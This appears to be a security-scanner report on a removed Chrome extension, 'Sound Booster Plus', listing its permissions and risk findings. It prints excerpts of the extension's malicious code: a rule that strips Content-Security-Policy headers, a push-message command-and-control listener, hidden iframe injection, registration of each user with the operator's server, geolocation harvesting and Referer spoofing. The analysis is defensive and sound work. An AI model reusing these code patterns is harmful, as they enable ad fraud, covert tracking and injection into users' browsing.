Sound Booster Plus

ID: ipmlaaecoiapbecaaalooaocfkkmkbdh

Could be malicious

Supported Languages

🇧🇩Bengali
🇧🇷Brazilian Portuguese
🇬🇧British English
🇧🇬Bulgarian
🇪🇸Catalan
🇨🇳Chinese (Simplified)
🇹🇼Chinese (Traditional)
🇭🇷Croatian
🇨🇿Czech
🇩🇰Danish
🇳🇱Dutch
🇺🇸English
🇪🇪Estonian
🇵🇭Filipino
🇫🇷French
🇩🇪German
🇬🇷Greek
🇮🇳Gujarati
🇮🇳Hindi
🇭🇺Hungarian
🇮🇩Indonesian
🇮🇹Italian
🇯🇵Japanese
🇰🇷Korean
🇲🇽Latin American Spanish
🇱🇻Latvian
🇱🇹Lithuanian
🇲🇾Malay
🇮🇳Malayalam
🇮🇳Marathi
🇳🇴Norwegian
🇵🇱Polish
🇵🇹Portuguese
🇷🇴Romanian
🇷🇺Russian
🇷🇸Serbian
🇸🇰Slovak
🇸🇮Slovenian
🇪🇸Spanish
🇸🇪Swedish
🇮🇳Tamil
🇮🇳Telugu
🇹🇭Thai
🇹🇷Turkish
🇺🇦Ukrainian
🇺🇸US English
🇻🇳Vietnamese

Extension Info & Metadata

Status
Removed
Version
1.1.7
Size
0.20 MB
Rating
4.8/5
Reviews
621
Users
115,615
Type
Extension
Updated
Apr 19, 2023
Category
22_accessibility
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
Yes

Publisher Contextual Analysis

Trusted
Author
https://volumebooster.phView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Website
Visit
Total Extensions
1
Active
0
Obsolete
1
Listed
1
Unlisted
0
Total Users
115,615

Increase system volume up to 1000% from the maximum level! Boost your system sound.

The Sound Booster is an extension that will allow you to increase the sound of your system. It can raise volume level up to 1000%. Features: - Increase the volume of the content being played up to 1000% - Works on all sites - Enable/Disable with single click How to use Sound booster Chrome extension: 1. Install the extension 2. Pin it in the toolbar 3. Click on the extension icon and enable the volume booster with toggle button. 4. Then, click on the extension icon and choose the Sound boost range. Recent Changes: Version 1.1.6 (24-September-2022): - Minor bug fix Version 1.1.4 (06-September-2022): - Bug fix - Improved UI Best Volume Master alternative. **Note: Please reload tabs after installing the extension to make it work.**

Item
Type
Severity
Description
declarativeNetRequest
Permission
Critical
This permission allows the extension to define rules to block, redirect, or modify network requests. Rated Critical because it can control all network traffic, potentially blocking security updates or redirecting to malicious sites.
scripting
Permission
Critical
This permission allows injection and execution of JavaScript on any webpage. Rated Critical because it can modify page content, steal sensitive data, and inject malicious code into any site the extension has access to.
<all_urls>
Host
Critical
Broad host access — the extension can read/modify content on every website.
Broad Host Permissions
Risk Factor
High
This extension has broad host permissions allowing it to access many or all websites.
Broad Content Script Access
Risk Factor
High
This extension can inject scripts into any website.
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
activeTab
Permission
Medium
This permission grants temporary access to the current tab. Rated Medium because it can access current page content when invoked, though limited to user-initiated actions.
tabs
Permission
Medium
This permission enables tab management and monitoring. Rated Medium because it can track open tabs, access tab metadata, and monitor user browsing patterns.
unlimitedStorage
Permission
Medium
This permission removes storage quota restrictions. Rated Medium because it can store large amounts of user data without limits, potentially impacting browser performance and storing extensive tracking data.
gcm
Permission
Medium
This permission enables Google Cloud Messaging for push notifications. Rated Medium because it can maintain persistent connections, receive external messages, and operate in the background.
notifications
Permission
Low
This permission displays system notifications. Rated Low because it can only show user-visible notifications without accessing system data.

Uses declarativeNetRequest to strip X-Frame-Options, Frame-Options, and Content-Security-Policy response headers on main_frame/sub_frame/script requests. Removing CSP and frame-busting headers enables arbitrary third-party sites (including attacker-controlled content) to be iframed/injected into any page, which is classic ad-fraud/clickjacking/cookie-stuffing infrastructure.

js/bg.js (Line 90)
let s = [{  priority: 1,  action: {    type: "modifyHeaders",    responseHeaders: [{      header: "X-Frame-Options",      operation: "remove"    }, {      header: "Frame-Options",      operation: "remove"    }, {      header: "Content-Security-Policy",      operation: "remove"    }],    requestHeaders: [{      header: "sec-fetch-dest",      operation: "set",      value: "document"    }]  },  condition: {    resourceTypes: ["main_frame", "sub_frame", "script"]  }}];

Listens for Google Cloud Messaging (GCM) push messages from sender ID 442925115938 and acts on attacker-supplied JSON: if the link contains 'oibww' it silently injects the URL into a user's open tab as an iframe (via the cs.js 'sksmode:aurl' handler), if it contains 'oib' it opens a new tab, otherwise it shows a browser notification that navigates to the URL on click. This is a remote command-and-control channel that lets the publisher push arbitrary URLs to 115k users at will — the hallmark of push-notification / ad-injection malware.

js/bg.js (Line 141)
chrome.gcm.onMessage.addListener((function(e) {        var t = e.data.message;        if ((t = JSON.parse(t))[0].id) {          ...        }        image = t[0].image, t[0].link.search("oibww") > 0 ? (tabid = async function() {            let e = {                url: "http://*/*"              },              [t] = await chrome.tabs.query(e);            return t && t.id ? t.id : (e = {              url: "https://*/*"            }, [t] = await chrome.tabs.query(e), !(!t || !t.id) && t.id)          }()) ? async function(e, t) {              chrome.tabs.sendMessage(t, {                sksmode: "aurl",                aurl: e              })            }(tabid, t[0].link): a("oibww_pending", t[0].link): t[0].link.search("oib") > 0 ? chrome.tabs.create({              url: t[0].link            }) : function(e, t, n, o) {              ...              chrome.notifications.create(a, r, ...              }(t[0].title, t[0].desc, t[0].link, image)

The content script (running on <all_urls>) listens for an 'sksmode:aurl' message and injects a hidden iframe with an attacker-controlled URL into the host page's <head>, with allow-same-origin+allow-scripts+allow-forms, then removes it after 90 seconds. Combined with the CSP-stripping rule in bg.js, this allows the remote C2 operator (via GCM push) to silently load any page inside any site the user is visiting — enabling cookie stuffing, affiliate-link fraud, ad impression fraud, and potentially clickjacking.

js/cs.js (Line 7530)
chrome.runtime.onMessage.addListener((async function(e, t, n) {  if ("aurl" == e.sksmode && e.aurl) {    let t = function(e) {        for (var t = "", n = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789", r = n            .length, i = 0; i < 10; i++) t += n.charAt(Math.floor(Math.random() * r));        return t      }(),      n = document.createElement("iframe");    n.setAttribute("sandbox", "allow-forms allow-same-origin allow-scripts"), n.setAttribute("id", t),      n.src = e.aurl, document.getElementsByTagName("head")[0].appendChild(n), setTimeout(() => {        document.getElementById(t)          .remove()      }, 9e4)  }}))

Background service worker fetches geolocation (country, city, zip) from a third-party IP geolocation API over cleartext HTTP and persists it to extension storage. This is unauthorized geographic profiling of users, unrelated to the extension's stated volume-boosting purpose, and uses HTTP which allows MITM tampering.

js/bg.js (Line 54)
let e = await p("get", "location_data");if (e) return n = e;let t = await fetch("http://ip-api.com/json");if (t) {  try {    t = await t.json()  } catch (e) {    return  }  country = t.countryCode, city = t.city, zip = t.zip, country && p("set", {    location_data: n = {      country: country,      city: city,      zip: zip    }  })}

A dynamic declarativeNetRequest rule spoofs the Referer header to 'https://chrome-extension.installed' for the voluebooster.ph domain. Forging Referer headers is a common affiliate-fraud / ad-attribution-laundering technique used to impersonate legitimate traffic sources to advertising or affiliate networks.

js/bg.js (Line 213)
}(1, "voluebooster.ph", "https://chrome-extension.installed");

On startup the extension generates a random 8-char 'extid', registers for GCM push with the operator's sender ID, and exfiltrates the (extid, gcmid) pair to volumebooster.ph/v3/regcm.php. This registers every user with the operator's C2 server so they can later be individually targeted with the push-message payloads handled above.

js/bg.js (Line 221)
function h(e) {  !async function(e) {    "" != e && "undefined" != e && (await a("pushToken", e), await fetch(      "https://volumebooster.ph/v3/regcm.php", {        method: "POST",        headers: {          "Content-Type": "application/x-www-form-urlencoded"        },        body: "extid=" + await r("extid") + "&gcmid=" + e      }))  }(e)}

On every tab completion the extension uses chrome.scripting.executeScript against <all_urls> to read document.referrer from the loaded page. Harvesting referrer data for every page a user visits is browsing-history tracking that is unrelated to volume boosting.

js/bg.js (Line 234)
function f() {  return document && document.referrer}...chrome.tabs.onUpdated.addListener((async function(e, t, n) {  let o = "";  "complete" == t.status && (n.url, await async function(e) {    var t = new Promise((function(t, n) {      try {        chrome.scripting.executeScript({          target: {            tabId: e          },          func: f        }, e => {          e && e.length && e[0].result ? t(e[0].result) : t("")        })      } catch (e) {        t("")      }    }));    return await t  }(e))}))

On install/update the extension force-injects cs.js into every currently open tab (across all http/https/file URLs) rather than waiting for natural navigation. This guarantees immediate reach of the iframe-injection message listener into pre-existing browsing sessions, including sensitive sites the user had open before install.

js/bg.js (Line 267)
chrome.runtime.onInstalled.addListener((async function(e) {  "install" == e.reason && (chrome.tabs.create({    url: "https://volumebooster.ph/?utm_source=extension"  }), r("installedon", (new Date).getTime())), await s(), chrome.tabs.query({}, (function(e) {    for (var t = 0; t < e.length; t++)(n = e[t].url)      .match("https://chrome.google.com") || n.match("chrome://extensions") || !(n.match(        "http://") || n.match("https://") || n.match("file:///")) || chrome.scripting      .executeScript({        target: {          tabId: e[t].id        },        files: ["/js/cs.js"]      }, null);    var n  }))}))

Sets an uninstall URL that opens volumebooster.ph/uninstall on removal, which together with the extid registration enables the operator to correlate installs with uninstalls and track individual-user extension lifecycle on their own server.

js/bg.js (Line 283)
chrome.runtime.setUninstallURL("https://volumebooster.ph/uninstall", ...)

By severity

Critical3
High5
Medium0
Low1

Versions scanned

Showing 1 of 10 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
1.1.79

Files with findings

2 distinct paths — top paths by unique finding count:

  • js/bg.js8
  • js/cs.js1
S.No.
Category
Severity
File
Summary
Found in Version
1Code Injection
critical
js/cs.js (line 7530)The content script (running on <all_urls>) listens for an 'sksmode:aurl' message and injects a hidden iframe with an attacker-controlled URL into the host page's <head>, with allow-same-origin+allow-scripts+allow-form…
2Network Interception
critical
js/bg.js (line 90)Uses declarativeNetRequest to strip X-Frame-Options, Frame-Options, and Content-Security-Policy response headers on main_frame/sub_frame/script requests. Removing CSP and frame-busting headers enables arbitrary third-…
3Remote Code Loading
critical
js/bg.js (line 141)Listens for Google Cloud Messaging (GCM) push messages from sender ID 442925115938 and acts on attacker-supplied JSON: if the link contains 'oibww' it silently injects the URL into a user's open tab as an iframe (via …
4Code Injection
high
js/bg.js (line 267)On install/update the extension force-injects cs.js into every currently open tab (across all http/https/file URLs) rather than waiting for natural navigation. This guarantees immediate reach of the iframe-injection m…
5Data Exfiltration
high
js/bg.js (line 221)On startup the extension generates a random 8-char 'extid', registers for GCM push with the operator's sender ID, and exfiltrates the (extid, gcmid) pair to volumebooster.ph/v3/regcm.php. This registers every user wit…
6Network Interception
high
js/bg.js (line 213)A dynamic declarativeNetRequest rule spoofs the Referer header to 'https://chrome-extension.installed' for the voluebooster.ph domain. Forging Referer headers is a common affiliate-fraud / ad-attribution-laundering te…
7Tracking
high
js/bg.js (line 234)On every tab completion the extension uses chrome.scripting.executeScript against <all_urls> to read document.referrer from the loaded page. Harvesting referrer data for every page a user visits is browsing-history tr…
8Unauthorized Data Collection
high
js/bg.js (line 54)Background service worker fetches geolocation (country, city, zip) from a third-party IP geolocation API over cleartext HTTP and persists it to extension storage. This is unauthorized geographic profiling of users, un…
9Tracking
low
js/bg.js (line 283)Sets an uninstall URL that opens volumebooster.ph/uninstall on removal, which together with the extid registration enables the operator to correlate installs with uninstalls and track individual-user extension lifecyc…
URLs
28
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

fonts.googleapis.com/css2https://fonts.googleapis.com/css2?family=Poppins:wght@300;500;600;700&display=swap
www.w3.org/1999/02/22-rdf-syntax-nshttp://www.w3.org/1999/02/22-rdf-syntax-ns#
ns.adobe.com/xap/1.0/http://ns.adobe.com/xap/1.0/
ns.adobe.com/xap/1.0/mm/http://ns.adobe.com/xap/1.0/mm/
ns.adobe.com/xap/1.0/sType/ResourceRefhttp://ns.adobe.com/xap/1.0/sType/ResourceRef#
www.google-analytics.com/collecthttps://www.google-analytics.com/collect
ip-api.com/jsonhttp://ip-api.com/json
*/*http://*/*
*/*https://*/*
voluebooster.ph/image/pushlogo.pnghttps://voluebooster.ph/image/pushlogo.png?v=
Showing 1 to 10 of 30 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Showing 1 to 10 of 10 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.